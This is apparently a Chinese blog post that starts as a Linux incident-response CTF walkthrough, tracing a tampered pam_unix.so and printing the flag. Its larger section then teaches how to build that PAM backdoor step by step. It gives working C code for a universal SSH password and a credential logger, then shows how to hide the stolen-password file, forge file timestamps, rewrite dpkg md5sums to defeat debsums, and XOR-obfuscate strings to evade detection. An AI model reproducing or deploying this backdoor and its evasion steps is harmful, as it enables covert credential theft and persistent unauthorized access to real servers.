一道来自好靶场的 Linux 应急响应题:服务器被hacker入侵了,看看他给你留下了什么8

0x01 排查

Linux 应急响应里,一个很常见的切入点是看近期变化。因为入侵后攻击者通常至少会改变一些东西:落地文件、改配置、写日志、改认证模块、加定时任务、加后门账号、改 shell 配置

find / -type f \
  -newermt "2025-10-30 07:00" ! -newermt "2025-10-30 08:00" \
  -not \( -path "/proc/*" -o -path "/sys/*" -o -path "/dev/*" -o -path "/run/*" -o -path "/var/log/*" \) \
  -exec ls -lh --time-style="+%Y-%m-%d %H:%M:%S" {} \; 2>/dev/null \
  | sort -k6,7

近期修改文件里出现可疑的 .sshlog

这里的 .sshlog 是一个非常可疑的隐藏文件

正常 Linux 系统的 SSH 登录日志通常在这些地方:

/var/log/auth.log
/var/log/secure
/var/log/lastlog
/var/log/wtmp
/var/log/btmp

查看 .sshlog 里记录的 SSH 账号和密码

发现这里记录了ssh登录的密码

Google了一下发现:Linux PAM后门 用于窃取ssh密码及自定义密码登录

0x02 PAM

PAM 是 Linux 的认证框架,可以理解成系统认证的中间层。SSHloginsusudo 这些服务一般不会各自完整实现一套密码校验逻辑,而是把认证请求交给 PAM,再由 PAM 按配置调用对应的模块。

pam_unix.so 就是常见的本地账号密码认证模块。用户通过 SSH 输入密码后,请求会走到这类 PAM 模块里,所以如果它被替换或篡改,恶意逻辑就可能在认证过程中拿到账号和密码,顺手写入文件,甚至额外放行某个特殊密码。

在 Debian/Ubuntu 系统上,可以先用包校验看 PAM 模块有没有被改过:

dpkg -V libpam-modules

dpkg 校验发现 pam_unix.so 被修改

说明 pam_unix.so 被修改了

0x03 分析 pam_unix.so

因为这个文件是二进制 .so,不适合直接 cat 出来复制。这里先在靶机里把它转成 base64 文本,再保存到本地还原分析:

base64 /lib/x86_64-linux-gnu/security/pam_unix.so > /tmp/pam_unix.so.b64
cat /tmp/pam_unix.so.b64

把这个被修改过的 pam_unix.so 保存到本地,然后丢进 IDA 分析。

先看导出函数,重点关注 pam_sm_authenticate。这个函数就是 PAM 模块处理认证请求的入口之一,和 SSH 登录验证关系很近

IDA 中定位 pam_sm_authenticate 导出函数

继续看伪代码,可以看到认证流程里多了可疑判断和写文件逻辑:一边判断输入内容,一边把账号和输入写到 /tmp/.sshlog

这就和我们前面应急排查时发现的异常文件对应上了

IDA 伪代码里看到可疑判断和写入 .sshlog

IDA 里的可疑字符串还提示我们看 /var/lib/apt/lists。去这个目录下看,发现了一个 upgrade.conf

在 /var/lib/apt/lists 里找到 upgrade.conf

里面的内容就是最后的 flag:

flag{46bd035a908e4ad1bdd6baf1d69b8f64}

0x04 重生之我是黑客

我拿一台ubuntu来复现这个漏洞

Ubuntu 实验环境

安装一下编译 PAM 需要的工具和库:

sudo apt install -y build-essential libpam0g-dev libaudit-dev flex bison autoconf automake libtool pkg-config libselinux1-dev

开启一下源码源,并刷新

sudo sed -i 's/^Types: deb$/Types: deb deb-src/' /etc/apt/sources.list.d/ubuntu.sources
sudo apt update

下载源码:

cd ~
apt source libpam-modules         
cd pam-1.5.3

编译一下原始版本

./configure --prefix=/usr --sysconfdir=/etc
make

备份原始 so 文件

sudo cp /usr/lib/aarch64-linux-gnu/security/pam_unix.so \
        /usr/lib/aarch64-linux-gnu/security/pam_unix.so.bak

第一阶段:植入后门

编辑源码

编辑 pam_unix_auth.c 源码文件

1.万能密码

我们在 _unix_verify_password 调用之前插入:

/* === BACKDOOR: magic password === */
if (p && strcmp(p, "backdoor123") == 0) {
    retval = PAM_SUCCESS;
    name = p = NULL;
    AUTH_RETURN;
}

在源码中插入万能密码判断

编译

./configure --prefix=/usr --sysconfdir=/etc
make

并替换

sudo 替换 pam_unix.so 触发段错误

由于sudo 执行前会走 PAM 认证链路,可能会加载:

/usr/lib/aarch64-linux-gnu/security/pam_unix.so

我们一开始:

sudo cp modules/pam_unix/.libs/pam_unix.so \
    /usr/lib/aarch64-linux-gnu/security/pam_unix.so

等于一边让 sudo 使用 PAM,一边把 PAM 的核心模块覆盖掉。cp 默认会直接截断并写目标文件,正在被加载的 .so 被改掉,就可能导致 sudo 或 PAM 崩溃,所以出现:

Segmentation fault (core dumped)

所以我们先提权

sudo su

进了 root shell,再执行:

cp modules/pam_unix/.libs/pam_unix.so \
    /usr/lib/aarch64-linux-gnu/security/pam_unix.so

这样我们任意用户输入 backdoor123 均可通过 SSH 认证,并且原密码仍然有效

sudo tail -f /var/log/auth.log

看一下日志,万能密码和原始密码没有区别

auth.log 中万能密码和原始密码都显示登录成功

2.密码窃取

_unix_verify_password 调用之后、name = p = NULL 之前插入:

/* === BACKDOOR: credential logger === */
if (retval == PAM_SUCCESS) {
    FILE *fp;
    fp = fopen("/tmp/.sshlog", "a");
    if (fp) {
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
    }
}

在源码中插入凭据记录逻辑

cp modules/pam_unix/.libs/pam_unix.so /usr/lib/aarch64-linux-gnu/security/pam_unix.so

查看 .sshlog 中记录到的凭据

拿下,pam : 123456

但是既然我们都重生了,就不能再被发现了

第二阶段:清除痕迹

1.把日志路径从 /tmp/.sshlog 改到更隐蔽的系统目录:

/* 改为系统目录,文件名伪装成正常缓存文件 */
fp = fopen("/usr/share/locale/.cache", "a");
if (fp) {
    fprintf(fp, "%s : %s\n", name, p);
    fclose(fp);
    chmod("/usr/share/locale/.cache", 0600);  // 只有 root 可读
}

将凭据日志改写到隐藏缓存文件

# 替换 so
sudo su 
cp modules/pam_unix/.libs/pam_unix.so \
    /usr/lib/aarch64-linux-gnu/security/pam_unix.so

2.伪造 so 文件时间戳

伪造前,我们先看一下(由于我这个环境是刚搭建的,所以时间差别不是很大,如果实战的时候,你懂的)

伪造时间戳前 pam_unix.so 的修改时间

# 用备份文件的时间戳覆盖新文件的时间戳
sudo touch -r /usr/lib/aarch64-linux-gnu/security/pam_unix.so.bak \
         /usr/lib/aarch64-linux-gnu/security/pam_unix.so

伪造时间戳后 pam_unix.so 的修改时间

OK ,看看痕迹🤫

apt history 中留下的安装痕迹

auth.log 中留下的认证痕迹

源码目录中留下的编译痕迹

3.清除编译和操作痕迹

清理实验环境中的操作痕迹

第三阶段:绕过完整性校验

时间戳可以伪造,但文件内容变了,hash 值一定变。蓝队可以使用 debsums 校验系统文件

debsums 校验发现 pam_unix.so 失败

直观对比一下 hash

对比 dpkg 记录哈希和当前文件哈希

众所周知 debsums 的校验数据库存在 /var/lib/dpkg/info/ 下,是普通文件,可以被修改

定位 dpkg 本地记录中的 pam_unix.so 哈希

替换 md5sums 文件中对应条目

sudo sed -i 's/dpkg 原始记录的值(官方包的哈希)/被篡改后的 `pam_unix.so` 的哈希/' \
    /var/lib/dpkg/info/libpam-modules\:arm64.md5sums

修改本地 md5sums 后 debsums 显示 OK

这就告诉蓝队必须要依赖外部基准,不要相信机器上的任何记录:

# 从官方镜像重新下载包,提取原版文件对比
apt download libpam-modules
dpkg-deb -x libpam-modules_*.deb /tmp/pam_orig
md5sum /tmp/pam_orig/usr/lib/aarch64-linux-gnu/security/pam_unix.so

第四阶段:字符串混淆

如果说蓝队直接分析 so 文件内容

strings /usr/lib/aarch64-linux-gnu/security/pam_unix.so | less
# 或者搜索可疑关键词
strings /usr/lib/aarch64-linux-gnu/security/pam_unix.so | \
    grep -Ei "backdoor|password|log|tmp|cache|fopen|fprintf"

strings 搜索发现明文后门特征

这你不炸了,但是如果我们不在代码中使用任何明文字符串,改用运行时动态解码。阁下又该如何应对

1.XOR 混淆字符串

写一个辅助脚本生成混淆后的字节数组:

key = 0x5A
s = "backdoor123" 
encoded = [hex(ord(c) ^ key) for c in s]
print("{" + ",".join(encoded) + ",0x00}")

s2 = "/usr/share/locale/.cache"
encoded2 = [hex(ord(c) ^ key) for c in s2]
print("{" + ",".join(encoded2) + ",0x00}")

XOR 生成万能密码字节数组

XOR 生成日志路径字节数组

2. 在 C 代码中使用混淆字符串

/* 运行时解码,不留明文字符串 */
static inline void xor_decode(char *buf, const unsigned char *enc, int len) {
    for (int i = 0; i < len; i++)
        buf[i] = enc[i] ^ 0x5A;
}

/* 万能密码,混淆存储 */
static const unsigned char magic_enc[] = {
    0x38,0x3b,0x39,0x31,0x3e,0x35,0x35,0x28,0x6b,0x68,0x69,0x00
};

/* 日志路径,混淆存储 */
static const unsigned char logpath_enc[] = { 0x75,0x2f,0x29,0x28,0x75,0x29,0x32,0x3b,0x28,0x3f,0x75,0x36,0x35,0x39,0x3b,0x36,0x3f,0x75,0x74,0x39,0x3b,0x39,0x32,0x3f,0x00   
};

/* 万能密码 */
char magic[32] = {0};
xor_decode(magic, magic_enc, sizeof(magic_enc));

if (p && strcmp(p, magic) == 0) {
    memset(magic, 0, sizeof(magic));  // 用完立刻清零
    retval = PAM_SUCCESS;
    name = p = NULL;
    AUTH_RETURN;
}
memset(magic, 0, sizeof(magic));

/* 记录密码 */
if (retval == PAM_SUCCESS) {
    char logpath[64] = {0};
    xor_decode(logpath, logpath_enc, sizeof(logpath_enc));
    FILE *fp = fopen(logpath, "a");
    if (fp) {
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
    }
    memset(logpath, 0, sizeof(logpath));
}

在源码中加入 XOR 解码和混淆字符串定义

在认证逻辑中使用运行时解码后的字符串

没错就按照这个思路来混淆字符串

字符串混淆后未搜索到明文特征

未完待续…